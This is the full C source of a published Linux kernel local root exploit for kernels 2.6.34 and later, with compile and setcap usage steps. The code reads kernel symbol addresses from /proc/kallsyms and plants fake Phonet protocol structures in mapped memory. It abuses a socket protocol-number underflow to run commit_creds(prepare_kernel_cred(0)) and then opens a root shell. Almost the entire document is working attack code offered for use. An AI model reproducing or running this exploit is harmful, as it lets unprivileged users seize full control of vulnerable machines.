2.6.34.c | Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)

/*
* Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)
* by Joe Sylve
* @jtsylve on twitter
*
* Released: Jan 7, 2011
*
* Based on the bug found by Dan Rosenberg (@djrbliss)
* only loosly based on his exploit http://www.exploit-db.com/exploits/15916/
*
* Usage:
* gcc -w caps-to-root2.c -o caps-to-root2
* sudo setcap cap_sys_admin+ep caps-to-root2
* ./caps-to-root2
*
* Kernel Version >= 2.6.34 (untested on earlier versions)
*
* Tested on Ubuntu 10.10 64-bit and Ubuntu 10.10 32-bit
*
* This exploit takes advantage of the same underflow as the original,
* but takes a different approach.  Instead of underflowing into userspace
* (which doesn't work on 64-bit systems and is a lot of work), I underflow
* to some static values inside of the kernel which are referenced as pointers
* to userspace.  This method is pretty simple and seems to be reliable.
*/

#include <stdio.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

// Skeleton Structures of the Kernel Structures we're going to spoof
struct proto_ops_skel {
    int family;
    void  *buffer1[8];
    int (*ioctl)(void *, int, long);
    void  *buffer2[12];
};

struct phonet_protocol_skel {
    void    *ops;
    void    *prot;
    int sock_type;
};


#ifdef __x86_64__

#define SYM_NAME "local_port_range"
#define SYM_ADDRESS 0x0000007f00000040
#define SYM_OFFSET 0x0

typedef int (* _commit_creds)(unsigned long cred);
typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);

#else //32-bit

#define SYM_NAME "pn_proto"
#define SYM_ADDRESS 0x4e4f4850
#define SYM_OFFSET 0x90

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

#endif


_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int getroot(void * v, int i, long l)
{
    commit_creds(prepare_kernel_cred(0));
    return 0;     
}

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy;
    char sname[512];
    int ret;

    char command[512];

    sprintf(command, "grep \"%s\" /proc/kallsyms", name);

    f = popen(command, "r");

    while(ret != EOF) {
        ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);

        if (ret == 0) {
            fscanf(f, "%s\n", sname);
            continue;
        }

        if (!strcmp(name, sname)) {

            fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
            pclose(f);
            return addr;
        }
    }

    pclose(f);
    return 0;
}

int main(int argc, char * argv[])
{

    int sock, proto;
    unsigned long proto_tab, low_kern_sym, pn_proto;
    void * map;

    /* Create a socket to load the module for symbol support */
    printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
    sock = socket(PF_PHONET, SOCK_DGRAM, 0);

    if(sock < 0) {
        if(errno == EPERM)
            printf("[*] You don't have CAP_SYS_ADMIN.\n");

        else
            printf("[*] Failed to open Phonet socket.\n");

        return -1;
    }

    close(sock);

    /* Resolve kernel symbols */
    printf("[*] Resolving kernel symbols...\n");

    proto_tab = get_kernel_sym("proto_tab");
    low_kern_sym = get_kernel_sym(SYM_NAME) + SYM_OFFSET;
    pn_proto =  get_kernel_sym("pn_proto");
    commit_creds = (void *) get_kernel_sym("commit_creds");
    prepare_kernel_cred = (void *) get_kernel_sym("prepare_kernel_cred");

    if(!proto_tab || !commit_creds || !prepare_kernel_cred) {
        printf("[*] Failed to resolve kernel symbols.\n");
        return -1;
    }

    if (low_kern_sym >= proto_tab) {
        printf("[*] %s is mapped higher than prototab.  Can not underflow :-(.\n", SYM_NAME);
        return -1;
    }


    /* Map it */
    printf("[*] Preparing fake structures...\n");

    const struct proto_ops_skel fake_proto_ops2 = {
            .family     = AF_PHONET,   
            .ioctl      = &getroot,
    };     

    struct phonet_protocol_skel pps = {
            .ops = (void *) &fake_proto_ops2,
            .prot = (void *) pn_proto,
            .sock_type = SOCK_DGRAM,
    };

    printf("[*] Copying Structures.\n");

    map = mmap((void *) SYM_ADDRESS, 0x1000,
            PROT_READ | PROT_WRITE | PROT_EXEC,
            MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    if(map == MAP_FAILED) {
        printf("[*] Failed to map landing area.\n");
        perror("mmap");
        return -1;
    }

     
    memcpy((void *) SYM_ADDRESS, &pps, sizeof(pps));

    // Calculate Underflow
    proto = -((proto_tab - low_kern_sym) / sizeof(void *));

    printf("[*] Underflowing with offset %d\n", proto);

    sock = socket(PF_PHONET, SOCK_DGRAM, proto);

    if(sock < 0) {
        printf("[*] Underflow failed :-(.\n");
        return -1;
    }

    printf("[*] Elevating privlidges...\n");
    ioctl(sock, 0, NULL);


    if(getuid()) {
        printf("[*] Exploit failed to get root.\n");
        return -1;
    }

    printf("[*] This was a triumph... I'm making a note here, huge success.\n");
    execl("/bin/sh", "/bin/sh", NULL);

    close(sock);
    munmap(map, 0x1000);

    return 0;
}